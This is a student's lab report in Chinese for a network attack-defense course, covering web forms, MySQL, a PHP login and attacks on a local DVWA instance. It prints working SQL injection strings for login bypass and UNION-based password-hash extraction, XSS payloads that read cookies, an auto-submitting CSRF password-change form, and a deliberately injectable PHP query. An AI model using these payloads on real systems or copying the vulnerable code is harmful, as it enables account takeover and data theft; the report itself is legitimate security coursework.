20232327 2025-2026-1 《网络与系统攻防技术》实验八实验报告

20232327 2025-2026-1 《网络与系统攻防技术》实验八实验报告

1.实验内容

1.1 本周学习内容

  • 掌握数据库基本操作与安全防护:学习了MySQL的基本操作,像创建数据库、管理用户和表的相关操作都已掌握。同时深入了解SQL注入原理,清楚如何通过SQL注入绕过登录验证,比如利用' OR 1=1 --这样的注入语句就能实现登录绕过,也明晰了普通注入与盲注入的区别。此外,还掌握了使用预处理语句(如PreparedStatement)这一有效防止SQL注入攻击的方法。

  • 了解XSS攻击原理与前端核心内容:明确前端主要负责页面展示和交互,所使用的技术包括HTML、CSS、JS。同时学习了XSS攻击原理,知晓通过注入恶意脚本可获取用户信息,例如在输入框中注入就能执行脚本,并且掌握了用输出编码和输入过滤来防止XSS攻击的方法。

  • 复习前后端区别与编程语言特点:清楚后端负责数据处理和业务逻辑,使用Java、Python等语言,前端则聚焦页面与交互。还理解了前后端编程语言的特点,比如Java适合大型企业应用后端,JavaScript主要用于前端开发,二者在语法、运行环境和应用场景上有着显著差异。

1.2 实验内容及要求

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

(1)Web前端HTML

能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

2.1.1Apache服务器开启与配置

Apache HTTP Server(简称Apache)是一个功能强大的开源Web服务器,广泛用于托管Web网站。在本实验中,首先通过安装Apache Web服务器来搭建基本的Web服务环境。

kali是自带Apache服务的,做一世界使用命令systemctl start apache2开启Apache服务;
systemctl status apache2.service可以查看Apache服务状态;
systemctl stop apache2停止Apache服务;
PixPin_2025-12-01_11-23-52

配置防火墙
为了确保外部访问,需要通过以下命令调整防火墙规则,允许HTTP流量通过防火墙
sudo ufw allow 'Apache'
验证安装
完成上述配置后,启动Apache服务,打开Firefox浏览器,在URL栏中输入http://localhost, 应该能看到Apache的默认欢迎页面(Apache2 Debian Default Page),表示Web服务器安装成功。
PixPin_2025-12-01_11-25-43

2.1.2HTML表单功能实现

完成Apache服务器配置启动后,我们来编写一个简单的HTML表单前端页面,来帮助我们更好的理解GET和POST方法;

HTML表单是Web开发中最基础的功能之一,它通过表单元素收集用户输入的数据,并将这些数据提交给服务器进行处理。

基础知识理解

  • HTML:HTML(超文本标记语言)是构建网页的标准语言,而表单(form)是 HTML 中用于收集用户输入并提交到服务器的核心组件。表单通过各种控件(如输入框、按钮、下拉菜单)接收用户数据,再通过 HTTP 方法(GET/POST)将数据发送到后端处理。

  • 理解表单基本元素及其功能

元素标签 核心功能 关键属性 典型使用示例
<form> 表单容器,定义数据提交规则 action(提交 URL)、method(GET/POST)、enctype(编码类型) html<form action="/submit" method="POST" enctype="multipart/form-data"></form>
<input type="text"> 单行文本输入(用户名、邮箱前缀等) name(后端标识)、placeholder(提示)、maxlength(长度限制)、required(必填) html<input type="text" name="username" placeholder="用户名" maxlength="20" required>
<input type="password"> 密码输入(内容隐藏) namerequiredminlength(最小长度) html<input type="password" name="password" minlength="6" required>
<input type="email"> 邮箱输入,浏览器基础格式验证 namerequiredpattern(自定义正则) html<input type="email" name="email" required pattern="[a-z0-9]+@[a-z]+\.[a-z]{2,3}">
<input type="number"> 数字输入(年龄、数量等) namemin(最小值)、max(最大值)、step(步长) html<input type="number" name="age" min="18" max="100" step="1">
<input type="checkbox"> 多选框(兴趣、同意协议等) name(同一组同名)、value(提交值)、checked(默认选中) html<input type="checkbox" name="hobby" value="reading" checked> 阅读
<input type="radio"> 单选框(性别、支付方式等) name(同一组同名)、valuechecked(默认选中) html<input type="radio" name="gender" value="male" checked> 男
<input type="file"> 文件上传(头像、附件等) nameaccept(限制文件类型)、multiple(多文件上传) html<input type="file" name="avatar" accept="image/*" multiple>
<input type="hidden"> 隐藏字段(传递 Token、用户 ID 等不可见数据) namevalue(隐藏值) html<input type="hidden" name="csrf_token" value="abc123xyz">
<input type="submit"> 提交表单按钮 value(按钮文字) html<input type="submit" value="提交数据">
<input type="button"> 普通按钮(绑定自定义 JS 事件) valueonclick(点击事件) html<input type="button" value="重置" onclick="resetForm()">
<textarea> 多行文本输入(留言、评论等) namerows(行数)、cols(列数)、maxlengthplaceholder html<textarea name="comment" rows="5" cols="30" maxlength="500" placeholder="请输入留言"></textarea>
<select>+<option> 下拉选择菜单(地区、学历等) namemultiple(多选)、size(可见选项数) html<select name="city"><option value="">请选择</option><option value="beijing" selected>北京</option></select>
<label> 绑定表单控件,提升可用性 for(关联控件 ID) html<label for="username">用户名:</label><input type="text" id="username" name="username">
  • 理解GET与POST方法
    • GET 方法是通过 URL 传递数据,参数可见于地址栏,适用于获取数据,特点是传输长度受限、易缓存但安全性低,数据暴露易被窃取;
    • POST 方法则将数据封装在请求体中,不可见,适用于提交数据,无明确长度限制,安全性更高,常用于登录、上传等场景,需配合 HTTPS 进一步保障数据安全。
    • 两者核心差异在于数据传输位置与安全性,GET 侧重查询,POST 侧重提交。
特性 GET 方法 POST 方法
数据传输方式 数据附加在 URL 后(查询字符串) 数据放在请求体中
可见性 数据暴露在 URL 中,可被直接查看 数据隐藏在请求体,更安全
数据长度限制 受 URL 长度限制(通常 2KB~8KB) 无明确限制,可传输大量数据
缓存与历史记录 请求会被缓存,记录在历史记录中 不会被缓存,无历史记录残留
用途 用于获取数据(如搜索、查询) 用于提交数据(如登录、注册、上传)
2.1.3编写一个有POST和GET方法的HTML表单

首先,进入/var/www/html/路径;
cd /var/www/html/
创建名为GET_POST.html的文件,并将下面的代码添加到文件中;

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>表单示例 - 网络攻防实验(20232327ywx)</title>
    <style>
        body { font-family: Arial, sans-serif; max-width: 500px; margin: 2rem auto; padding: 0 1rem; }
        .form-group { margin-bottom: 1rem; }
        label { display: block; margin-bottom: 0.5rem; }
        input { width: 100%; padding: 0.5rem; box-sizing: border-box; }
        button { padding: 0.7rem 1.5rem; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #0056b3; }
        .form-container { border: 1px solid #ddd; padding: 2rem; border-radius: 8px; }
    </style>
</head>
<body>
    <div class="form-container">
        <h2>GET方法表单(登录)</h2>
        <!-- GET方法:数据会显示在URL中 -->
        <form action="/login" method="GET">
            <div class="form-group">
                <label for="get-username">用户名:</label>
                <input type="text" id="get-username" name="username" placeholder="输入用户名" required>
            </div>
            <div class="form-group">
                <label for="get-password">密码:</label>
                <input type="password" id="get-password" name="password" placeholder="输入密码" required>
            </div>
            <button type="submit">提交(GET)</button>
        </form>

        <hr style="margin: 2rem 0;">

        <h2>POST方法表单(登录)</h2>
        <!-- POST方法:数据在请求体中 -->
        <form action="/login" method="POST">
            <div class="form-group">
                <label for="post-username">用户名:</label>
                <input type="text" id="post-username" name="username" placeholder="输入用户名" required>
            </div>
            <div class="form-group">
                <label for="post-password">密码:</label>
                <input type="password" id="post-password" name="password" placeholder="输入密码" required>
            </div>
            <button type="submit">提交(POST)</button>
        </form>
    </div>
</body>
</html>

使用GET提交表单,可以在URL栏中显示我的用户名和密码;
PixPin_2025-12-01_18-41-47

使用POST方法提交表单,不会在URL中显示,更加安全;
PixPin_2025-12-01_18-44-30

(2)Web前端javascipt

2.2.1基础知识理解
  • JavaScript 是 Web 前端的脚本语言,用于实现页面交互逻辑(如表单验证、动态效果、数据请求),可直接嵌入 HTML 并运行在浏览器端;
  • DOM(文档对象模型)是浏览器将 HTML 文档解析成的树形对象结构,JavaScript 通过 DOM API(如获取元素、修改内容 / 样式、绑定事件)操作页面元素,实现 “动态操控网页” 的核心能力。
  • 简言之,JavaScript 是 “行为” 的实现者,DOM 是其操作网页的 “接口桥梁”。
2.2.2使用JavaScript验证用户名、密码

在上面代码的基础上,编写script部分语句如下,要求实现账号和密码都不能为空,且密码长度不能少于8位;

    <script>
        // 验证GET表单
        function validateGetForm() {
            const username = document.getElementById('get-username').value.trim();
            const password = document.getElementById('get-password').value.trim();
            const usernameError = document.getElementById('get-username-error');
            const passwordError = document.getElementById('get-password-error');
            let isValid = true;

            // 重置错误提示
            usernameError.style.display = 'none';
            passwordError.style.display = 'none';

            // 验证用户名
            if (!username) {
                usernameError.style.display = 'block';
                isValid = false;
            }

            // 验证密码
            if (!password || password.length < 8) {
                passwordError.style.display = 'block';
                isValid = false;
            }

            return isValid;
        }

测试密码长度小于8位,输出提示;
PixPin_2025-12-01_18-55-42
测试账号为空,输出提示;
PixPin_2025-12-01_18-59-30

2.2.3尝试注入攻击:利用回显用户名注入HTML及JavaScript

利用回显注入HTML,直接在用户名栏中输入
<h1>20232327注入测试成功!</h1>
PixPin_2025-12-01_19-23-35

利用事件属性(绕过标签拦截)
输入:
<img src=x onerror=alert('学号20232327-注入成功')>

PixPin_2025-12-01_19-25-03
利用 DOM 事件(如鼠标悬浮)
输入:
<div onmouseover="alert('悬浮触发注入')">20232327测试</div>
PixPin_2025-12-01_19-28-59
利用能触发执行的内联事件(如onerror/onload),将页面劫持代码写在事件中:
<img src=x onerror="document.body.innerHTML='<h1>20232327 页面被劫持</h1>'">
PixPin_2025-12-01_19-39-29
onerror是<img>标签的原生事件,图片加载失败时会直接执行事件内的 JS 代码,不受<script>标签执行限制的影响,能直接修改页面 DOM。

(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

kali自带有mysql,不需要安装,所以直接使用命令systemctl start mysql启动mysql服务;
PixPin_2025-12-01_19-44-29
在启动mysql服务后,在命令行中输入sudo mysql登录进入MYSQL命令行,登录成功后,如图所示:
PixPin_2025-12-01_19-57-34

之后的操作,我们需要用到一些常用的mysql命令;
mysql数据库常用命令

功能分类 命令 说明
数据库操作 1. SHOW DATABASES; 查看所有数据库
2. CREATE DATABASE 数据库名; 创建数据库,如CREATE DATABASE test_db;
3. USE 数据库名; 切换到指定数据库,如USE test_db;
4. DROP DATABASE 数据库名; 删除数据库(谨慎操作)
表操作 1. SHOW TABLES; 查看当前数据库下的所有表
2. CREATE TABLE 表名(字段1 类型, 字段2 类型); 创建表,如CREATE TABLE user(id INT, name VARCHAR(20));
3. DESC 表名; 查看表结构
4. ALTER TABLE 表名 ADD 字段 类型; 新增表字段,如ALTER TABLE user ADD age INT;
5. DROP TABLE 表名; 删除表(谨慎操作)
数据操作(增删改查) 1. INSERT INTO 表名(字段1,字段2) VALUES(值1,值2); 插入数据,如INSERT INTO user(id,name) VALUES(1,'Alice');
2. SELECT * FROM 表名; 查询表中所有数据;可加条件:SELECT * FROM user WHERE id=1;
3. UPDATE 表名 SET 字段=新值 WHERE 条件; 修改数据,如UPDATE user SET name='Bob' WHERE id=1;(需加 WHERE 条件)
4. DELETE FROM 表名 WHERE 条件; 删除数据,如DELETE FROM user WHERE id=1;(需加 WHERE 条件)

创建数据库和用户
在mysql命令行中,先创建一个名为20232327db的数据库;
并创建用户20232327,将创建的新数据库的所有权限授予创建的用户;
完成后重新刷新权限使其生效;

#创建数据库
create database 20232327db;
#使用数据库
use 20232327db
#创建用户
create user '20232327' identified by 'Ywx2327';
#授予权限
grant all privileges on 20232327db.* to '20232327';
#刷新权限
FLUSH PRIVILEGES;

PixPin_2025-12-01_20-02-24

创建表并插入数据

#展示表
show tables;
#创建表
CREATE TABLE ywx (id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL,pwd VARCHAR(255) NOT NULL);
#查看表结构
describe ywx;
#插入数据
INSERT INTO ywx (name, pwd) VALUES ('20232327ywx', 'test2327');
#查看表内容
SELECT * FROM ywx;

PixPin_2025-12-01_20-20-32

(4)Web后端:编写PHP网页,连接数据库,进行用户认证

kali自带PHP,所以这里直接编写使用PHP代码;
数据库连接文件(db_connect.php):

<?php
// 数据库配置
$servername = "localhost";  // MySQL服务器地址
$username = "20232327";     // 你的MySQL用户名
$password = "Ywx2327";      // 你的MySQL密码
$dbname = "20232327db";     // 数据库名

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("数据库连接失败: " . $conn->connect_error);
}
?>

登录处理文件(login.php)(处理 GET/POST 请求的用户认证逻辑)

<?php
// 引入数据库连接
require_once 'db_connect.php';

// 初始化提示信息
$message = "";

// 检查是否有表单提交
if ($_SERVER["REQUEST_METHOD"] == "GET" || $_SERVER["REQUEST_METHOD"] == "POST") {
    // 获取表单数据(兼容GET和POST)
    $username = isset($_REQUEST['username']) ? trim($_REQUEST['username']) : '';
    $password = isset($_REQUEST['password']) ? trim($_REQUEST['password']) : '';

    // 简单验证
    if (empty($username) || empty($password)) {
        $message = "用户名和密码不能为空!";
    } else {
        // 从数据库查询用户(注意:实际项目需用预处理语句防SQL注入)
        $sql = "SELECT * FROM ywx WHERE name = '$username' AND pwd = '$password'";
        $result = $conn->query($sql);

        if ($result->num_rows > 0) {
            // 登录成功
            $message = "登录成功!欢迎您,$username";
        } else {
            // 登录失败
            $message = "用户名或密码错误!";
        }
    }
}

// 关闭连接
$conn->close();
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>登录结果 - 网络攻防实验</title>
    <style>
        body { font-family: Arial, sans-serif; max-width: 500px; margin: 2rem auto; padding: 0 1rem; }
        .result { padding: 2rem; border: 1px solid #ddd; border-radius: 8px; text-align: center; }
    </style>
</head>
<body>
    <div class="result">
        <h2><?php echo $message; ?></h2>
        <p><a href="GET_POST_php.html">返回登录页</a></p>
    </div>
</body>
</html>

相应修改前端的http文件,将前端页面中

的action改为login.php


<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>表单示例 - 网络攻防实验(20232327ywx)</title>
    <style>
        body { font-family: Arial, sans-serif; max-width: 500px; margin: 2rem auto; padding: 0 1rem; }
        .form-group { margin-bottom: 1rem; }
        label { display: block; margin-bottom: 0.5rem; }
        input { width: 100%; padding: 0.5rem; box-sizing: border-box; }
        button { padding: 0.7rem 1.5rem; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #0056b3; }
        .form-container { border: 1px solid #ddd; padding: 2rem; border-radius: 8px; }
    </style>
</head>
<body>
    <div class="form-container">
        <h2>GET方法表单(登录)</h2>
        <!-- GET方法:数据显示在URL中 -->
        <form action="login.php" method="GET">
            <div class="form-group">
                <label for="get-username">用户名:</label>
                <input type="text" id="get-username" name="username" placeholder="输入用户名" required>
            </div>
            <div class="form-group">
                <label for="get-password">密码:</label>
                <input type="password" id="get-password" name="password" placeholder="输入密码" required>
            </div>
            <button type="submit">提交(GET)</button>
        </form>

        <hr style="margin: 2rem 0;">

        <h2>POST方法表单(登录)</h2>
        <!-- POST方法:数据在请求体中 -->
        <form action="login.php" method="POST">
            <div class="form-group">
                <label for="post-username">用户名:</label>
                <input type="text" id="post-username" name="username" placeholder="输入用户名" required>
            </div>
            <div class="form-group">
                <label for="post-password">密码:</label>
                <input type="password" id="post-password" name="password" placeholder="输入密码" required>
            </div>
            <button type="submit">提交(POST)</button>
        </form>
    </div>
</body>
</html>

验证,当输入我都mysql中存在的用户名和对应的密码时候,验证通过,输出提示“登录成功!”
PixPin_2025-12-01_20-42-37
当输入数据库中不存在的用户名和密码时候,输出错误提示:“用户名或密码错误!”
PixPin_2025-12-01_22-07-10

(5)最简单的SQL注入,XSS攻击测试

SQL注入
因为我的login.php中 SQL 语句直接拼接用户输入,未使用预处理:
$sql = "SELECT * FROM ywx WHERE name = '$username' AND pwd = '$password'";
在用户名输入:' OR 1=1 #
密码任意输入
闭合name='的单引号,用OR 1=1让条件恒成立,#注释掉后面的AND pwd='xxx',最终 SQL 变为:
SELECT * FROM ywx WHERE name = '' OR 1=1 #' AND pwd = '123';
从而绕过验证;
PixPin_2025-12-01_23-32-21
XSS注入验证:
PixPin_2025-12-02_00-01-55

(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.6.1 DVWA

Kali Linux 已将 DVWA 纳入官方仓库,只需一键安装:

# 安装DVWA(含所有依赖)
sudo apt install dvwa
# 启动服务
sudo service apache2 start
sudo service mysql start
dvwa-start  # 启动DVWA服务

运行后会自动打开登录界面;
PixPin_2025-12-02_00-24-01
初始账号密码:admin/password
PixPin_2025-12-02_00-25-42

登录成功后,创建初始数据库;
完成后,先在DAWA Security中的level改为low而不是impossible,否则可能会出现做不出来的情况;
PixPin_2025-12-02_00-31-11

(1)SQL注入

1.首先判断注入类型,是数字型注入还是字符型注入;
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
我们输入1,查看回显正常 (URL中id=1,说明php页面通过get方法传递参数)。

PixPin_2025-12-02_00-43-57
输入1' 看回显,结果显示空白页面,说明出现错误。
PixPin_2025-12-02_00-44-26
由此猜测,应该是字符型注入
进一步使用1'and '1'='1进行注入,发现也能正常回显,由此证明是字符型注入;
PixPin_2025-12-02_00-51-06
2.进一步判断表中的字段数
这里尝试使用order by 进行判断字段数, 直到order by 进行报错时候就是字段数。
输入1' order by 1#进行测试;这样构造是先闭合用户名,然后再对当前by的列进行排序,如果有回显说明当前列存在,如果出现错误就说明不存在列;最后加上#是为了注释掉原语句中的引号;
1' order by 1#正常回显
PixPin_2025-12-02_00-56-54
1' order by 2#正常回显
PixPin_2025-12-02_00-57-16
1' order by 3#
出现错误;
由此可以判断当前表只有两列;
3.判断回显位置
通过上面的测试,我们已经知道的用户密码表是一个具有两列的表,接下来我们使用union语句进行联合查询表的内容,;
输入1' union select database(),user()#进行查询 :
database()将会返回当前网站所使用的数据库名字.
user()将会返回执行当前查询的用户名.

PixPin_2025-12-02_23-30-48
可以看到,返回当前使用的数据库名是dvwa;执行查询的用户是dvwa@localhost;
同理,再输入1' union select version(),@@version_compile_os#查询当前数据库的版本和当前操作系统;

PixPin_2025-12-02_23-35-56
可以看到返回结果,数据库版本是11.8.3-MariaDB-1+b1 from Debian;当前操作系统是: debian-linux-gnu

MariaDB 是 MySQL 的开源分支(由 MySQL 原作者主导开发),完全兼容 MySQL 协议和语法,且在功能、性能上有扩展,常被 Linux 发行版(如 Debian、Ubuntu)作为默认数据库替代 MySQL。

4.获取表名
原理解析:information_schema 是 MySQL/MariaDB 内置的系统数据库(Schema)(也叫 “信息模式”),属于特殊的元数据数据库,里面包含了多个系统表(如tables、columns、user_privileges等),用于存储数据库服务器的元数据信息。,数据库保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
构造语句 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

PixPin_2025-12-02_23-43-08
通过返回值可以看到dvwa 数据库有两个数据表,分别是 guestbook 和 users;

5.获取表中的字段名
从users表中获取表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
PixPin_2025-12-02_23-55-36
6.获取字段中的数据
这里我们来猜测一下,user表中的user 和 password字段是存放用户名和密码(当然这个很好猜哈哈哈),构造查询语句:
1' union select user,password from users #
PixPin_2025-12-02_23-57-44
完美,成功!成功爆出一堆用户名和密码,密码(如5f4dcc3b5aa765d61d8327deb882cf99)是32 位十六进制字符串,由此猜测是MD5加密,到https://www.cmd5.com/ 网站进行解密;
PixPin_2025-12-02_23-59-47
PixPin_2025-12-03_00-00-20
PixPin_2025-12-03_00-00-37
PixPin_2025-12-03_00-00-57

(2)XSS(DOM)

发现在URL栏中default后的参数会发生变化,尝试改变default后的参数,输入20232327 XSS,可以看到成功注入!
'?defaul=20232327 XSSt'
PixPin_2025-12-03_00-10-24

(3)XSS(Reflected)

在文本框中输入名字提交后,可以发现在URL栏中出现了name=的参数,尝试直接改变name后的参数,发现成功进行注入;

PixPin_2025-12-03_00-12-48
再次构造,name后改为<script>alert(20232327)</script>注入成功!
PixPin_2025-12-03_00-15-34

(4)XSS(Stored)

这是一个类似与留言贴的东西,不断发送东西上去就会被存储起来;
那就来尝试一下,Name框中的长度被做了限制,先不管,随便输入;
在Message框中尝试获取当前的cookie,直接进行弹窗(如果是攻击者,这里的脚本可以写成将窃取到的cookie发送到供给制的设备上,让共攻击者拿着这个cookie去冒充用户);
<script>alert(document.cookie)</script>
PixPin_2025-12-03_00-21-46
发现成功弹出当前页面的cookie,并且在当前脚本被存储的情况下,之后无论再输入什么都会执行脚本,弹出dookie;存储型XSS注入成功!

既然我们拿到了cookie,我们尝试使用chromeiu浏览器(原来使用的是Firefox)拿着这个cookie去尝试绕或验证登录;
在chrome中,按F12打开开发者模式,依次如图中所示,找到cookie,手动更改cookie值为我们拿到的值;
之后在URL栏中手动更改,去掉login.php直接访问42001端口,成功绕过验证进入!
PixPin_2025-12-03_00-33-04

(5)CSRF部分
  • CSRF(Cross-site Request Forgery,跨站请求伪造,或称XSRF)是一种针对网站的恶意利用。
  • CSRF攻击:在CSRF攻击场景中,攻击者会伪造一个请求(一般是一个链接),然后欺骗用户进行点击,点击完成则攻击完成==》也称为“one click”攻击
  • CSRF 分类
    • Get型
      ——只需要构造URL,然后诱导受害者访问利用。
      仅仅须要一个HTTP请求,就能够构造一次简单的CSRF。GET型是CSRF攻击最常发生的情形;
    • POST型
      POST请求是要把参数放在http的请求body里发送给服务器》POST类型的CSRF攻击需要用post的方式发送请求》创建(静态创建或动态创建)一个自动提交的表单。当用户点击或浏览有这样表单的网页就会自动发生CSRF攻击

尝试进行CSRF攻击
在CSRF模块中,尝试点击Test credentials(测试凭据),输入默认账号密码=》测试密码、账号是否有效
系统默认账号:admin
系统默认密码:password
PixPin_2025-12-03_09-33-33
登录后,提示当前账号密码是有效的;

这里我们使用burpsuite来拦截包,方便我们之后的实验;
burpsite是kali中已经预装好的,所以直接在命令行中输入sudo burpsite运行;
初次运行需要等待一段时间,出现提示后点击继续;
PixPin_2025-12-03_09-41-19
完成加载后的页面如图所示;这里使用的是社区版;

PixPin_2025-12-03_09-43-17
在标签页的Proxy选项中,开启拦截;

PixPin_2025-12-03_09-47-27
在火狐浏览器的插件中,搜索FoxyProxy火狐代理插件,点击安装;

PixPin_2025-12-03_09-32-01
完成安装后,在火狐代理中新建一个代理,配置如图所示(和burp的设置成一样的)
完成后启用这个代理;
PixPin_2025-12-03_09-57-43
现在我们在DVWA中的CSRF模块中,进行密码的修改;提交表单后,可以看到burp拦截了这个包;
PixPin_2025-12-03_09-59-32
在这里我们可以看到是通过GET方法进行提交的,我们可以按照这个表单的内容来构造一个payload(本来想使用burp工具的自动Poc生成来构造,发现社区版不能用这个功能)
PixPin_2025-12-03_10-04-22

好吧社区办不能自动生成CSRF POC,那自己来写一个;

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <!-- 伪造的表单,action对应目标URL,method和原请求一致(GET) -->
    <form id="csrfForm" action="http://127.0.0.1:42001/vulnerabilities/csrf/" method="GET">
        <!-- 原请求的参数:password_new -->
        <input type="hidden" name="password_new" value="你要篡改的新密码" />
        <!-- 原请求的参数:password_conf(需和password_new一致) -->
        <input type="hidden" name="password_conf" value="你要篡改的新密码" />
        <!-- 原请求的参数:Change -->
        <input type="hidden" name="Change" value="Change" />
    </form>

    <!-- 自动提交表单的脚本(无需用户点击,打开页面即触发) -->
    <script>
        document.getElementById("csrfForm").submit();
    </script>
</body>
</html>

这个html设置成打开后自动提交表单;
打开这个构造的表单,被拦截了,我们选中这个包点击“forward”放行;
PixPin_2025-12-03_10-15-09
然后我们使用之前的密码测试,发现不能通过,说明已经被修改了;
PixPin_2025-12-03_10-15-55
使用构造表单中的密码进行测试,修改成功!
PixPin_2025-12-03_10-16-52
上面是直接打开html自动提交表单实现的,接下来尝试点击链接实现攻击:
用python快速搭建一个web服务器
python3 -m http.server 8081

访问http://127.0.0.1:8081/csrf.html
这是被拦截了,在burp中放行;
PixPin_2025-12-03_10-29-42
成功跳转回DVWA的主页,成功!
PixPin_2025-12-03_10-30-49

3.问题及解决方案

本次实验中没遇到什么太大的问题,因为在前一部分的网站是自己搭建的,所以注入攻击都非常简单就能实现,在前端页面的编写过程中也借助了AI帮助,帮我快读搭建起了一个简易的网站;
在后半部分的学习过程中,使用到了一些工具,如burp、火狐代理等等,虽然是第一次使用不太熟悉,在安装、使用过程中遇到一些问题,不过在多方查找资料学习后,顺利完成了实验;

4.学习感悟、思考等

每次做完一个网络攻防的实验,都能体会到网络攻击的危害性和之大,本次实验也是体会到了多种注入的攻击手段的危害之大,体会到在生活中也能经常遇到;
本次实验中使用的是DVWA靶场,只是尝试了一部分的Low难度的题目,当然还有很多高阶的题目,不过解题的过程确实是很有意思,做出后很有成就感(当然做不出来可能就不会这么想了哈哈哈哈),能快速找到解这些题目的思路还是比较困难,还是对很多基础的Web知识或者其他知识掌握不牢;
当然这是本学期这门课程最后一次实验,自己的网络攻防能力可能连入门都算不上,不过在本学期的实验中还是收获不少,虽然都是在理想情况下实现的攻防,但是也基本理解了这些原理,当然还要不断学习和实践下去,让自己的能力才能不断提高,努力,努力,努力,在大学学习中把自己的专业能力不断提高。

参考资料

posted @ 2025-12-03 10:32  Amir_1900  阅读(5)  评论(0)    收藏  举报